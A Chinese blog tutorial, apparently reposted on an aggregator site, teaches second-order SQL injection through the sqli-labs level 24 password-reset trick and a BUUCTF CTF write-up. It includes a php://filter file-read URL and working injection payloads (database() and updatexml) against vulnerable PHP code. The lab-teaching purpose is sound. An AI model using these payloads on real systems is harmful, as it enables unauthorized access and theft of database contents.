SQL注入:二次注入

news2024/11/18 21:51:05

 SQL注入系列文章:

初识SQL注入-CSDN博客

SQL注入:联合查询的三个绕过技巧-CSDN博客

SQL注入:报错注入-CSDN博客

SQL注入:盲注-CSDN博客

目录

什么是二次注入?

二次注入演示

 1、可以注册新用户

2、可以登录->修改密码

3、可以忘记密码

[WEB|[CISCN2019 华北赛区 Day1 Web5 ] CyberPun

利用文件包含漏洞来读取源码

二次注入


前面和大家分享了SQL注入中的,联合查询,报错注入,盲注,还有一个非常好用的SQL注入技巧就是二次注入,那么再本篇,我会和搭建通过复习+练习的方式来一起学习一下SQL注入的二次注入,那么现在我们开始ヾ(◍°∇°◍)ノ゙

这里演示的靶场还是sqli-labs

什么是二次注入?

当用户提交的恶意数据被存入数据库后,应用程序再把它读取出来用于生成新的SQL语句时,如果没有相应的安全措施,是有可能发生SQL注入的,这种注入就叫做二次注入,也叫做存储型SQL注入,下面来演示一下二次注入

二次注入演示

靶场对应的二次注入关卡是第24关,那么我们来到24关

从页面可以看到这一关是一个页面非常丰富的一关

最后分析可以得到本关我们都可以做以下动作:

 1、可以注册新用户

可以看到已经注册成功了

2、可以登录->修改密码

可以看到密码也是可以修改成功的 

3、可以忘记密码

可以看到作为一个安全工作者,面对忘记密码这种事情,它建议我们去hack

 那么现在我们应该怎么利用这些点来进行SQL二次注入呢?

这既然是SQL注入的靶场,我想肯定需要网数据库的方面来想,比如说像前面那样闭合掉用户名,然后注释后面的其他语句,实现无密码登录,那么那些地方都会用到sql语句的查询呢,应该是登录和注册,修改密码,都会用到数据库语句查询,那可以在登录的地方测试一下:

但是从结果看出,并没有成功

注:因为这里是POST的方式传参,因此不能使用--+来进行注释,而是要用#

现在来看看后端的代码

function sqllogin(){

   $username = mysql_real_escape_string($_POST["login_user"]);  //过滤了单双引号
   $password = mysql_real_escape_string($_POST["login_password"]);//过滤了单双引号
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
	//print_r($row) ;
   if ($row[1]) {
			return $row[1];
   } else {
      		return 0;
   }

}

可以看出,后端代码对我们输入的登录用户名和密码进行了过滤,因此无法注入

再来看看其他文件页面的后端代码是否有可以利用的点呢?

这里发现注册页面中,对于用户名和密码,并没有什么限制,因此我们可以尝试在这里直接传入一个user001'#的用户名和密码,试试看:

可以看到注册成功了

我们可以再看看数据库,是否有该记录:

可以看到是有的 

但是还有一个问题就是在登录时,我们却无法输入'这应该怎么办呢?

这里龙哥告诉我们了一个办法,我们先使用user001'#账号和密码来尝试登录一下

这里居然登录成功了,然后修改密码,这里的原本密码是可以随便写的

发现居然修改成功了,现在我们使用现在的密码来尝试登录一下user001用户

这里居然就成功登录了。

这里我们居然在不知道用户的原本密码下,直接修改了该用户的密码

这里龙哥告诉了我们原因:这里因为我们注册了一个新用户,但是修改密码时却使用的是一个已存在的用户,并且无密码的用户(因为我们的用户名中有一个注释符,将后面的密码查询判断语句注释掉了),所以我们可以修改密码成功

那为什么转义符并没有将我们用户名中的’和#转义呢:因为我们在从数据库中拿出该用户名时没有对'和#进行转义,导致将密码的检测注释了,虽然看似后端代码将我们输入的'进行了转义,但是当将输入的数据存储到数据库中时,会将'加上存储的,这样就实现了二次注入

[WEB|[CISCN2019 华北赛区 Day1 Web5 ] CyberPun

现在相信大家已经对二次注入有了一些了解了吧,那么下面我们再来在一个靶机例题中实践一下:
这里会使用一个在线靶场:BUUCTF在线评测 (buuoj.cn)

然后找到这个题目,启动靶机 

进入靶机后就可以看到下面这个页面:


一般这种网站我们在不知道源码的情况下很难得到什么有用的信息,因此我们可以使用dirsearch来扫描一下是否有网页源码

可以看到什么东西都没有扫出来,那么现在就只能自己找了,我们先俩看看网页前端页面有没有什么可以用的信息

可以看到这里有一个file,那么说明可以利用这个file来搞事情,使用file来读取源码

利用文件包含漏洞来读取源码

payload:

http://89dbaea5-2b4c-4aa5-b781-272ca2172d0c.node4.buuoj.cn:81/index.php?file=php://filter/convert.base64-encode/resource=index.php

可以看到使用这种方式确实可以读取出源码,只是源码是base64编码过的

我们可以使用base64工具来进行解码:

这样就成功的拿到了该页面的前后端源码:

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
        <h2>2077发售了,不来份实体典藏版吗?</h2>
        <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
        <div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <h3>提交订单</h3>
                <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button>
                </form>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

注:使用这种方法我们可以拿到每个页面的源码

二次注入

分析了各个页面的代码后,发现修改订单页面是存在二次注入的,因此我们可以先创建一个订单

$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

更新页面address使用的是addslashes,存在二次注入漏洞

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串 预定义字符是:单引号(')、双引号(")、反斜杠(\)、NULL  

这里addslashes将单引号(')转义为',但是进入数据库中单个 \ 是会被去除,所以存储到数据还是单引号('),更新时会被拼接到sql语句中:

' ,`address`=database()#'

提交订单

修改地址:

查询订单:

然后就可以看到这里就成功的将数据库的名称注入出来了

这里还可以利用报错注入来注入:

ayload:

1' and  updatexml(1,concat(0x7e,(select database()),0x7e),1)#

提交订单: 

修改订单:

可以看到这里也是成功的注入出了数据库名称,然后就可以使用同样的方法分别注入出数据库名、表名、列名,然后查询数据

到此,关于SQL注入的二次注入的基本知识和实验演示就到此完毕了,还是一样,知识本篇结束了,SQL注入的知识和技巧还没有结束,后面还会和大家分享更多的关于SQL注入的技巧和实验,我们后面再见(^▽^)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1417614.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据湖技术之平台建设篇2

数据湖技术之平台建设篇1&#xff0c;主要介绍了湖仓平台建设的前三个主要工作&#xff0c;本次主要继续上次的建设工作介绍&#xff0c;聊一聊一站式湖仓服务平台的相关管理能力建设以及针对小文件的处理。 一. 一站式湖仓服务平台的相关管理能力 主要是将相关能力落地到平台…

day03-今日佳人功能实现

课程说明 首页功能说明系统架构说明实现今日佳人功能实现推荐用户的列表接口增加缓存功能整合前端联调测试 1、首页 在用户登录成功后&#xff0c;就会进入首页&#xff0c;首页中有今日佳人、推荐好友、探花、搜附近等功能。 2、系统架构 在开发完SSO系统中的登录功能后&…

【Spring实战】31 Spring Boot3 集成 Gateway 微服务网关

文章目录 1. 定义2. 功能3. 示例代码1) 创建一个业务服务2&#xff09;创建一个网关服务3&#xff09;启动服务4&#xff09;验证 4. 代码参考结语 1. 定义 Spring Cloud Gateway 是一个基于 Spring Framework 的开源网关服务&#xff0c;用于构建微服务架构中的 API 网关。它…

SpringCloud LoadBalancer

SpringCloud LoadBalancer 1.什么是LoadBalancer LoadBalancer&#xff08;负载均衡器&#xff09;是一种网络设备或软件机制&#xff0c;用于分发传入的网络流量负载请求到多个后端目标服务器上&#xff0c;从而实现系统资源的均衡利用和提高系统的可用性和性能。 负载均衡器…

前端工程化之:webpack1-7(入口和出口)

前置知识 node 环境下 "./" 代表的意思&#xff1a; 模块化代码中&#xff0c;比如 require("./") &#xff0c;表示当前 js 文件所在的目录。在路径处理中&#xff0c; "./" 表示 node 运行目录。__dirname&#xff1a;所有情况下&#xff0c;…

Python tkinter (8) ——Spinbox控件

Python的标准Tk GUI工具包的接口 tkinter系列文章 python tkinter窗口简单实现 Python tkinter (1) —— Label标签 Python tkinter (2) —— Button标签 Python tkinter (3) —— Entry标签 Python tkinter (4) —— Text控件 Python tkinter (5) 选项按钮与复选框 Pyt…

数据结构【图的遍历】

数据结构之图 图的类型定义和存储结构图的遍历遍历的定义图的特点图常用的遍历深度优先搜索 DFS&#xff08;DepthFirstSearch&#xff09;算法实现算法效率分析 广度优先搜索 BFS&#xff08;BreadthFirstSearch&#xff09;算法实现算法效率分析 DFS与BFS算法效率比较 图的类…

iOS_Xcode_LLDB调试常用命令

文章目录 结构常用命令&#xff1a;1、流程控制&#xff1a;2、常用命令3、进程信息&#xff1a;4、寄存器&#xff1a;register5、镜像&#xff1a;image6、内存&#xff1a;memory7、符号断点&#xff1a;breakpoint8、内存断点&#xff1a;watchpoint9、Tips&#xff1a; 结…

【HarmonyOS应用开发】开发介绍 DevEco Studio安装与使用(一)

内容比较长&#xff0c;干货满满&#xff0c;全是实战操作内容&#xff0c;希望耐心观看&#xff0c;如果对你有所帮助&#xff0c;请点个赞&#xff01; 官方文档&#xff1a;https://developer.huawei.com/consumer/cn/training/course/slightMooc/C101667303102887820 访…

华为OD-华为机试精讲500篇系列文章目录介绍(持续补充ing)

目录 背景介绍 什么是华为OD&#xff1f; OD现状 OD趋势 华为OD机考刷题攻略 1、刷题资料&#xff1a;投递岗位通过筛选后提供 2、注意事项&#xff1a; 真题代码目录 背景介绍 经济下行的这几年&#xff0c;每个人都感同身受&#xff0c;如何让自己在芸芸众生中脱颖而…

ubuntu中的rsyslog

目录 1. rsyslog简介 2. 查看/var/log 3. syslog的配置文件 3.1 /etc/rsyslog.d/50-default.conf 3.2 /etc/rsyslog.conf 4. 如何写入syslog 4.1 C语言 4.2 shell 4.3 内核输出 5. syslog.1和syslog.2.gz等文件是如何生成 6. logrotate是如何被执行 7. 如何限制sys…

linux 运行vue项目

1&#xff1a;在本地电脑 项目跟目录 执行 npm run build 在根目录生成文件夹 dist 2&#xff1a;复制dist 到linux 上 /usr/vuespace/ledger-web/dist 3: 配置nginx server {listen 443 ssl;server_name tz.i569.cn; #填写绑定证书的域名ssl_certificate /etc/nginx/myconf…

蓝桥杯备战——8.DS1302时钟芯片

1.分析原理图 由上图可以看到&#xff0c;芯片的时钟引脚SCK接到了P17,数据输出输入引脚IO接到P23,复位引脚RST接到P13。 2.查阅DS1302芯片手册 具体细节还需自行翻阅手册&#xff0c;我只截出重点部分 总结&#xff1a;数据在上升沿写出&#xff0c;下降沿读入&#xff0c;…

赚钱的雏形,是跑通最小闭环!

没赚钱本事&#xff0c;就专心打磨武器&#xff01; 很多人有一个错误的认知&#xff0c;就是做项目一定是新的&#xff0c;一定是有创新在里面&#xff0c;但其实赚钱的开始&#xff0c;一定是复制现有的项目。 现有的项目&#xff0c;可以确保他有市场&#xff0c;能够跑通&a…

Ps:段落面板

Ps菜单&#xff1a;窗口/段落 Window/Paragraph Ps菜单&#xff1a;文字/面板/段落面板 Type/Panels/Paragraph Panel 对于“点文本”&#xff0c;默认一行为一个段落。每按一次回车键&#xff0c;就多出一个段落。 对于“段落文本”&#xff0c;一段可能有多行&#xff0c;具体…

【Vite+Vue3+TS】基于Vite+Vue3+TypeScript+ESLint+Prettier+Stylelint搭建项目(亲测超详细)

目 录 项目搭建步骤确定node版本使用Vite创建Vue3项目规范目录结构配置环境修改Vite配置文件集成路由工具Vue Router集成状态管理工具Pinia集成CSS预编译器Sassvite-plugin-svg-icons图标组件集成UI框架Element Plus集成HTTP 请求工具 Axios 项目代码规范集成ESLint配置集成Pre…

动手学深度学习(一)深度学习介绍1

目录 一、引言 1.日常生活中的机器学习&#xff1a; 2.机器学习中的关键组件&#xff1a; 2.1 数据&#xff1a; 2.2 模型&#xff1a; 2.3 目标函数&#xff1a; 2.4 优化算法&#xff1a; 3. 各种机器学习问题&#xff1a; 3.1 监督学习&#xff1a; 3.1.1 回归&…

qemu + vscode图形化调试linux kernel

一、背景 使用命令行连接gdb 在调试时&#xff0c;虽然可以通过tui enable 显示源码&#xff0c;但还是存在设置断点麻烦&#xff08;需要对着源码设置&#xff09;&#xff0c;terminal显示代码不方便&#xff0c;不利于我们学习&#xff1b;另外在gdb 下p命令显示结构体内容…

Vue Router 简介

聚沙成塔每天进步一点点 本文内容 ⭐ 专栏简介Vue Router 简介主要特性&#xff1a;安装和基本用法&#xff1a; ⭐ 写在最后 ⭐ 专栏简介 Vue学习之旅的奇妙世界 欢迎大家来到 Vue 技能树参考资料专栏&#xff01;创建这个专栏的初衷是为了帮助大家更好地应对 Vue.js 技能树的…

CSRF靶场练习

简述&#xff1a;CSRF漏洞实际很少&#xff1b;条件限制很多&#xff1b;局限性很大&#xff1b;实验仅供参考&#xff0c;熟悉csrf概念和攻击原理即可 Pikachu靶场 CSRF GET 登录用户vince的账户可以看到用户的相关信息&#xff1b; 点击修改个人信息&#xff0c;发现数据包…